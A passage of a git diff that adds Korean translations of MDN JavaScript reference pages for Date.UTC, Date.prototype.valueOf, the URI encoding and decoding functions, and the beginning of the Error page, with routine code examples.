+ <dd>초를 나타내는 0에서 59 사이의 정수. 기본값은 0입니다.</dd>
+ <dt><code>millisecond</code> {{optional_inline}}</dt>
+ <dd>밀리초를 나타내는 0에서 999 사이의 정수. 기본값은 0입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜와 1970년 1월 1일 00:00:00 UTC의 차이를 밀리초로 나타낸 숫자.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Date.UTC()</code>는 날짜 및 시간을 받고, 1970년 1월 1일 00:00:00 UTC와의 차이를 밀리초 수로 나타내 반환합니다.</p>
+
+<p>0에서 99 사이의 연도는 20세기<code>(1900 + year)</code>로 취급합니다. 즉 95를 입력할 경우 1995로 취급합니다.</p>
+
+<p><code>Date.UTC()</code> 메서드는 {{jsxref("Date")}} 생성자와 다른 점이 두 가지 있습니다.</p>
+
+<ul>
+ <li><code>Date.UTC()</code>는 현지 시간 대신 국제 표준시(UTC)를 사용합니다.</li>
+ <li><code>Date.UTC()</code>는 {{jsxref("Date")}} 객체를 만드는 대신 시간 값을 숫자로 반환합니다.</li>
+</ul>
+
+<p>주어진 매개변수가 통상적인 범위를 벗어나면 <code>Date.UTC()</code> 메서드는 다른 매개변수 값을 조절해 계산합니다. 예를 들어, 월 값으로 15를 사용하면 연도가 1 증가(<code>year + 1</code>)하고, 월 계산에는 3을 대신 사용합니다.</p>
+
+<p><code>Date.UTC()</code>는 {{jsxref("Date")}}의 정적 메서드이므로, 사용자가 생성한 {{jsxref("Date")}} 인스턴스에서 호출하지 않고 <code>Date.UTC()</code> 형태로 사용합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Date.UTC()_사용하기"><code>Date.UTC()</code> 사용하기</h3>
+
+<p>다음 예제는 현지 시간 대신 UTC를 사용하여 {{jsxref("Date")}} 객체를 생성합니다.</p>
+
+<pre class="brush:js">var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.3', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.UTC")}}</p>
+
+<h2 id="호환성_참고사항">호환성 참고사항</h2>
+
+<h3 id="매개변수를_두_개_미만_제공하는_경우">매개변수를 두 개 미만 제공하는 경우</h3>
+
+<p>Date.UTC()가 두 개 미만의 매개변수를 받은 경우, ECMAScript 2017은 {{jsxref("NaN")}}을 반환할 것을 요구합니다. 이를 지원하지 않던 엔진은 업데이트됐습니다. ({{bug(1050755)}}, <a href="https://github.com/tc39/ecma262/pull/642">ecma-262 #642</a>를 참고하세요)</p>
+
+<pre class="brush: js">Date.UTC();
+Date.UTC(1);
+
+// Safari: NaN
+// Chrome/Opera/V8: NaN
+
+// Firefox &lt;54: non-NaN
+// Firefox 54+: NaN
+
+// IE: non-NaN
+// Edge: NaN</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/valueof/index.html b/files/ko/web/javascript/reference/global_objects/date/valueof/index.html
new file mode 100644
index 0000000000..778321f74e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/valueof/index.html
@@ -0,0 +1,79 @@
+---
+title: Date.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>valueOf()</code></strong> 함수는 {{jsxref("Date")}} 객체의 원시값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-valueof.html")}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.valueOf()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>반환되는 milliseconds 값은 1 January 1970 00:00:00 UTC 와 주어진 일시 사이의 값입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>valueOf()</code> 함수는 01 January, 1970 UTC 이후의 milliseconds 단위의 자연수 타입인 {{jsxref("Date")}} 객체의 원시값을 반환합니다.</p>
+
+<p>이 함수는 {{jsxref("Date.prototype.getTime()")}} 함수와 동일한 결과값을 반환합니다.</p>
+
+<p>이 함수는 사용자 코드에 명시된 것이 아닌, JavaScript 자체에 포함되어 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_valueOf()">Using <code>valueOf()</code></h3>
+
+<pre class="brush: js">var x = new Date(56, 6, 17);
+var myVar = x.valueOf();      // myVar에 -424713600000를 할당합니다.
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>최초 정의. JavaScript 1.1에서 구현</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.valueOf")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/decodeuri/index.html b/files/ko/web/javascript/reference/global_objects/decodeuri/index.html
new file mode 100644
index 0000000000..bb29400506
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/decodeuri/index.html
@@ -0,0 +1,101 @@
+---
+title: decodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURI
+tags:
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>decodeURI()</strong></code> 함수는 {{jsxref("encodeURI")}}이나 비슷한 루틴으로 사전에 만들어진 URI(Uniform Resource Identifier, 인터넷식별자) 를 해독합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-decodeuri.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>decodeURI(<em>encodedURI</em>)</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>완전하고 암호화된 인터넷식별자(URI)</dd>
+</dl>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>주어진 암호화된 URI의 암호화되지 않은 버전을 나타내는 새 문자열을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code><em>encodedURI</em></code>에 유효하지 않은 문자열이 포함된 경우 {{jsxref("URIError")}} ("malformed URI sequence") 예외를 던집니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><span id="result_box" lang="ko"><span>암호화된 URI의 각 이스케이프 시퀀스(확장문자열)를 자신을 나타내는 문자로 바꾸지만 {{jsxref ( "encodeURI")}}에서 도입할 수 없었던 이스케이프 시퀀스는 해독하지 않습니다.</span> <span>"#"문자는 이스케이프 시퀀스에서 해독되지 않습니다.</span></span></p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Decoding_a_Cyrillic_URL">Decoding a Cyrillic URL</h3>
+
+<pre class="brush: js">decodeURI('https://developer.mozilla.org/ru/docs/JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B');
+// "https://developer.mozilla.org/ru/docs/JavaScript_шеллы"
+</pre>
+
+<h3 id="Catching_errors">Catching errors</h3>
+
+<pre>try {
+  var a = decodeURI('%E0%A4%A');
+} catch(e) {
+  console.error(e);
+}
+
+// URIError: malformed URI sequence</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.1', 'decodeURI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.decodeURI")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html
new file mode 100644
index 0000000000..d263252cbf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html
@@ -0,0 +1,92 @@
+---
+title: decodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>decodeURIComponent()</strong></code> 함수는 {{jsxref("encodeURIComponent")}} 나 비슷한 방법으로 생성된 Uniform Resource Identifier(URI) 컴포넌트를 해독합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-decodeuricomponent.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>decodeURIComponent(<em>encodedURI</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>암호화된 Uniform Resource Identifier(URI) 컴포넌트.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>이스케이프되지 않은 특정 글자들 중 새로운 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><span id="result_box" lang="ko"><span>잘못 사용되었을 경우 {{jsxref ( "URIError")}} ( "</span></span> malformed URI sequence <span lang="ko"><span>") 예외를 발생시킵니다.</span></span></p>
+
+<h2 id="설명">설명</h2>
+
+<p>암호화된 URI 컴포넌트에서 각각의 이스케이프 시퀀스(확장 문자열)를 자신을 나타내는 문자로 바꿉니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="키릴문자_URL_컴포넌트의_복호화">키릴문자 URL 컴포넌트의 복호화</h3>
+
+<pre class="brush: js">decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "JavaScript_шеллы"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.decodeURIComponent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/encodeuri/index.html b/files/ko/web/javascript/reference/global_objects/encodeuri/index.html
new file mode 100644
index 0000000000..c5dff2ed37
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/encodeuri/index.html
@@ -0,0 +1,111 @@
+---
+title: encodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURI
+tags:
+  - JavaScript
+  - Reference
+  - URI
+  - URL
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><span class="seoSummary"><code><strong>encodeURI()</strong></code> 함수는 {{glossary("URI")}}의 특정한 문자를 UTF-8로 인코딩해 하나, 둘, 셋, 혹은 네 개의 연속된 이스케이프 문자로 나타냅니다.</span> (두 개의 대리 문자로 이루어진 문자만 이스케이프 문자 네 개로 변환됩니다.)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-encodeuri.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>encodeURI(<em>URI</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>URI</code></dt>
+ <dd>완전한 URI.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열을 URI로서 인코딩한 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><span id="result_box" lang="ko"><span><code>encodeURI()</code> 함수는 URI에서 특별한 뜻을 가진 문자(예약 문자)는 인코딩 하지 않습니다. 아래 예제는 "URI 도식"이 포함할 수 있는 모든 부분을 담고 있습니다. 일부 문자가 어떤 방식으로 특별한 의미를 주입하고 있는지 잘 살펴보세요.</span></span></p>
+
+<pre>http://username:password@www.example.com:80/path/to/file.php?foo=316&amp;bar=this+has+spaces#anchor</pre>
+
+<p><span id="result_box" lang="ko"><span>따라서 <code>encodeURI()</code>는 완전한 URI를 형성하는데 필요한 문자는 인코딩 <strong>하지 않습니다</strong>.</span> <span>또한, 예약된 목적을 가지지는 않지만 URI가 그대로 포함할 수 있는 몇 가지 문자("비예약 표식")도 인코딩 <strong>하지 않습니다</strong>. (<a href="https://www.ietf.org/rfc/rfc2396.txt">RFC 2396</a>을 참고하세요)</span></span></p>
+
+<p><code>encodeURI()</code> 는 다음 문자를 <strong>제외</strong>한 문자를 이스케이프 합니다.</p>
+
+<pre><strong><code>이스케이프 하지 않는 문자</code></strong>:
+
+    A-Z a-z 0-9 ; , / ? : @ &amp; = + $ - _ . ! ~ * ' ( ) #<code>
+</code>
+</pre>
+
+<p><code>encodeURI()</code>와 {{jsxref("encodeURIComponent", "encodeURIComponent()")}}의 차이는 다음과 같습니다.</p>
+
+<pre class="brush: js">var set1 = ";,/?:@&amp;=+$#"; // 예약 문자
+var set2 = "-_.!~*'()";   // 비예약 표식
+var set3 = "ABC abc 123"; // 알파벳 및 숫자, 공백
+
+console.log(encodeURI(set1)); // ;,/?:@&amp;=+$#
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // ABC%20abc%20123 (공백은 %20으로 인코딩)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24%23
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // ABC%20abc%20123 (공백은 %20으로 인코딩)
+
+</pre>
+
+<p><code>encodeURI()</code> 혼자서는 {{domxref("XMLHttpRequest")}} 등이 사용할, 적합한 HTTP {{httpmethod("GET")}}과 {{httpmethod("POST")}} 요청을 구성할 수 없습니다. <code>GET</code>과 <code>POST</code>에서 특별한 문자로 취급하는 <code>"&amp;"</code>, <code>"+"</code>, <code>"="</code>를 인코딩 하지 않기 때문입니다. 그러나 <code>encodeURIComponent()</code>는 저 세 문자도 인코딩 대상에 포함합니다.</p>
+
+<p><span id="result_box" lang="ko"><span>상위-하위 쌍을 이루지 않은 단일 대리 문자를 인코딩 시도하면 {{jsxref("URIError")}}가 발생합니다.</span></span></p>
+
+<pre class="brush: js">// high-low pair ok
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// lone high surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// lone low surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));
+</pre>
+
+<p>또한, URL의 보다 최신 RFC인 <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a>을 따르고자 한다면, 대괄호가 {{glossary("IPv6")}} 지원을 위해 추가로 예약됨에 따라 <code>encodeURI()</code>가 인코딩하지 않으므로 URL을 생성할 때 주의해야 합니다. 다음 예시 코드가 도움이 될 수도 있습니다.</p>
+
+<pre class="brush: js">function fixedEncodeURI(str) {
+    return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-encodeuri-uri', 'encodeURI')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.encodeURI")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html
new file mode 100644
index 0000000000..191f66b198
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html
@@ -0,0 +1,148 @@
+---
+title: encodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+tags:
+  - JavaScript
+  - Reference
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><span class="seoSummary"><code><strong>encodeURIComponent()</strong></code> 함수는 {{glossary("URI")}}의 특정한 문자를 UTF-8로 인코딩해 하나, 둘, 셋, 혹은 네 개의 연속된 이스케이프 문자로 나타냅니다.</span> (두 개의 대리 문자로 이루어진 문자만 이스케이프 문자 네 개로 변환됩니다.)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-encodeuricomponent.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">encodeURIComponent(<em>str</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>URI 구성요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열을 URI 구성요소로서 인코딩한 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>encodeURIComponent()</code>는 다음 문자를 <strong>제외</strong>한 문자를 이스케이프 합니다.</p>
+
+<pre><strong><code>N</code>ot Escaped</strong>:
+
+    A-Z a-z 0-9 <code>-</code> <code>_</code> <code>.</code> <code>!</code> <code>~</code> <code>*</code> <code>'</code> <code>(</code> <code>)
+</code>
+</pre>
+
+<p><code>encodeURIComponent()</code>와 {{jsxref("encodeURI", "encodeURI()")}}의 차이는 다음과 같습니다.</p>
+
+<pre class="brush: js">var set1 = ";,/?:@&amp;=+$";  // Reserved Characters
+var set2 = "-_.!~*'()";   // Unescaped Characters
+var set3 = "#";           // Number Sign
+var set4 = "ABC abc 123"; // Alphanumeric Characters + Space
+
+console.log(encodeURI(set1)); // ;,/?:@&amp;=+$
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // #
+console.log(encodeURI(set4)); // ABC%20abc%20123 (the space gets encoded as %20)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // %23
+console.log(encodeURIComponent(set4)); // ABC%20abc%20123 (the space gets encoded as %20)
+</pre>
+
+<p><span id="result_box" lang="ko"><span>상위-하위 쌍을 이루지 않은 단일 대리 문자를 인코딩 시도하면 {{jsxref("URIError")}}가 발생합니다.</span></span></p>
+
+<pre class="brush: js">// high-low pair ok
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// lone high surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// lone low surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));
+</pre>
+
+<p><code>encodeURIComponent()</code>를 사용해, 서버에 {{HTTPMethod("POST")}}로 요청할 양식 필드를 인코딩 하세요. 입력 중 의도치 않게 생성될 수 있는 HTML 특수 개체 등의 <code>"&amp;"</code> 문자를 처리할 수 있습니다.</p>
+
+<p>예를 들어 사용자가 입력한 <code>"Jack &amp; Jill"</code>은 <code>"Jack &amp;amp; Jill"</code>로 인코딩 됩니다. <code>encodeURIComponent()</code>를 사용하지 않았다면 서버가 앰퍼샌드를 새로운 필드의 시작으로 인식할 수 있으므로 데이터의 무결성을 해칠 수 있습니다.</p>
+
+<p><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#application/x-www-form-urlencoded-encoding-algorithm"><code>application/x-www-form-urlencoded</code></a>의 스페이스는 <code>"+"</code>로 치환되어야 하므로, <code>encodeURIComponent()</code>의 결과에 추가로 <code>"%20"</code>을 <code>"+"</code>로 바꾸세요.</p>
+
+<p>비록 URI의 구분자로서 형식화된 사용처는 없지만, 그럼에도 <code>!</code>, <code>'</code>, <code>(</code>, <code>)</code>, <code>*</code>을 추가로 예약하는 <a class="external" href="http://tools.ietf.org/html/rfc3986">RFC 3986</a>을 엄격하게 따르려면 아래의 코드를 사용해보세요.</p>
+
+<pre class="brush: js">function fixedEncodeURIComponent(str) {
+  return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
+    return '%' + c.charCodeAt(0).toString(16);
+  });
+}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 UTF-8 {{HTTPHeader("Content-Disposition")}} 과{{HTTPHeader("Link")}} 서버 응답 헤더에서 (UTF-8 파일 이름 등의 이유로) 필요한 문자 인코딩 방법을 보입니다.</p>
+
+<pre class="brush: js">var fileName = 'my file(2).txt';
+var header = "Content-Disposition: attachment; filename*=UTF-8''"
+             + encodeRFC5987ValueChars(fileName);
+
+console.log(header);
+// logs "Content-Disposition: attachment; filename*=UTF-8''my%20file%282%29.txt"
+
+
+function encodeRFC5987ValueChars(str) {
+    return encodeURIComponent(str).
+        // Note that although RFC3986 reserves "!", RFC5987 does not,
+        // so we do not need to escape it
+        replace(/['()]/g, escape). // i.e., %27 %28 %29
+        replace(/\*/g, '%2A').
+            // The following are not required for percent-encoding per RFC5987,
+            // so we can allow for a little better readability over the wire: |`^
+            replace(/%(?:7C|60|5E)/g, unescape);
+}
+
+// here is an alternative to the above function
+function encodeRFC5987ValueChars2(str) {
+  return encodeURIComponent(str).
+    // Note that although RFC3986 reserves "!", RFC5987 does not,
+    // so we do not need to escape it
+    replace(/['()*]/g, c =&gt; "%" + c.charCodeAt(0).toString(16)). // i.e., %27 %28 %29 %2a (Note that valid encoding of "*" is %2A
+                                                                 // which necessitates calling toUpperCase() to properly encode)
+    // The following are not required for percent-encoding per RFC5987,
+    // so we can allow for a little better readability over the wire: |`^
+    replace(/%(7C|60|5E)/g, (str, hex) =&gt; String.fromCharCode(parseInt(hex, 16)));
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.encodeURIComponent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/error/index.html b/files/ko/web/javascript/reference/global_objects/error/index.html
new file mode 100644
index 0000000000..986cb5afa0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/error/index.html
@@ -0,0 +1,240 @@
+---
+title: Error
+slug: Web/JavaScript/Reference/Global_Objects/Error
+tags:
+  - Error
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Error</code></strong> 생성자는 오류 객체를 생성합니다.</span> <code>Error</code> 객체의 인스턴스는 런타임 오류가 발생했을 때 던져집니다. <code>Error</code> 객체를 사용자 지정 예외의 기반 객체로 사용할 수도 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">new Error([<em>message</em>[, <em>fileName</em>[, <em>lineNumber</em>]]])</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을 수 있는, 오류에 대한 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>생성할 <code>Error</code> 객체의 <code>fileName</code> 속성 값. 기본값은 <code>Error</code> 생성자를 호출한 코드를 포함하고 있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>생성할 <code>Error</code> 객체의 <code>lineNumber</code> 속성 값. 기본값은 <code>Error</code> 생성자 호출을 포함한 줄 번호입니다.</dd>
+</dl>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>런타임 오류는 새로운 <code>Error</code> 객체를 생성하고 던집니다.</p>
+
+<p>이 페이지는 <code>Error</code> 오브젝트 자체와, 생성자 함수로서의 사용처를 다룹니다. <code>Error</code> 인스턴스가 상속하는 속성과 메서드는 {{jsxref("Error.prototype")}}을 참고하세요.</p>
+
+<h3 id="함수로_사용">함수로 사용</h3>
+
+<p><code>Error</code>를 {{jsxref("Operators/new", "new")}} 없이 함수로 사용하면 <code>Error</code> 객체를 반환합니다. 즉 <code>Error</code>를 직접 호출해도 인스턴스를 만드는 것과 동일한 결과를 얻을 수 있습니다.</p>
+
+<pre class="brush: js">// 이렇게 호출하는 것과
+const x = Error('I was created using a function call!');
+​​​​// 이렇게 사용하는게 동일
+const y = new Error('I was constructed via the "new" keyword!');
+</pre>
+
+<h3 id="Error_types" name="Error_types">오류 유형</h3>
+
+<p>JavaScript에는 일반적인 <code>Error</code> 생성자 외에도 7개의 중요 오류 생성자가 존재합니다. 클라이언트측 예외에 대해서는 <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#예외처리문">제어 흐름과 에러 처리</a>를 참고하세요.</p>
+
+<dl>
+ <dt>{{jsxref("EvalError")}}</dt>
+ <dd>전역 함수 {{jsxref("eval", "eval()")}}에서 발생하는 오류의 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("InternalError")}} {{non-standard_inline}}</dt>
+ <dd>JavaScript 엔진의 내부에서 오류가 발생했음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("RangeError")}}</dt>
